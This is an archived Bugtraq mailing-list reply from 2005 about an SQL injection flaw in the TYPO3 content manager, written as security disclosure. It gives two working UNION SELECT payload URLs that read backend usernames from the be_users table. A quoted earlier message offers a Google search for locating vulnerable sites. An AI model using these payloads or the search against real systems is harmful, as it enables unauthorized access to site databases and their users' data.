RE: TYPO3 SQL Injection vunerabilitie

From: GulfTech Security Research (security_at_gulftech.org)
Date: 03/04/05

  • Next message: Hongzhen Zhou: "GIMP gifload.exe GIF file (image width)*(image height)==0 DOS vulnerability"
    To: <bugtraq@securityfocus.com>
    Date: Thu, 3 Mar 2005 18:54:04 -0600
    
    

    Here is a POC for the typo3 issue to test if you are vulnerable. This
    doesn't pull the password, just the username :)

    http://path/?&action=getviewcategory&category_uid=-99%20UNION%20SELECT%20use
    rname%20FROM%20be_users%20WHERE%20uid=1/*

    Also, it's easy to pull lists of data from the database using this
    vulnerability since the query results are looped and displayed. Take the
    following example. It would list usernames as categories

    http://path/?&action=getviewcategory&category_uid=-99%20UNION%20SELECT%20use
    rname,null%20FROM%20be_users%20WHERE%201/*

    James

    -----Original Message-----
    From: Sebastian Wolfgarten [mailto:sebastian@wolfgarten.com]
    Sent: Thursday, March 03, 2005 5:07 PM
    To: bugtraq@securityfocus.com
    Subject: Re: TYPO3 SQL Injection vunerabilitie

    Hi Dennis,

    I am pretty sure Fabian (Neonomicus) meant *every link* (or site) generated
    by
    Typo3, didn't he? For instance if you search google for
    "inurl:action=getviewcategory" I am pretty sure you will understand what he
    meant (or am I wrong here)?

    @Fabian (Neonomicus): Could you please provide more details about the
    vulnerability you've discoveredl? By the way did you give the Typo3 guys
    *enough* time to respond???

    All the best,
    Sebastian

    -- 
    No virus found in this incoming message.
    Checked by AVG Anti-Virus.
    Version: 7.0.300 / Virus Database: 266.5.5 - Release Date: 3/1/2005
     
      
    -- 
    No virus found in this outgoing message.
    Checked by AVG Anti-Virus.
    Version: 7.0.300 / Virus Database: 266.5.5 - Release Date: 3/1/2005
     
    

  • Next message: Hongzhen Zhou: "GIMP gifload.exe GIF file (image width)*(image height)==0 DOS vulnerability"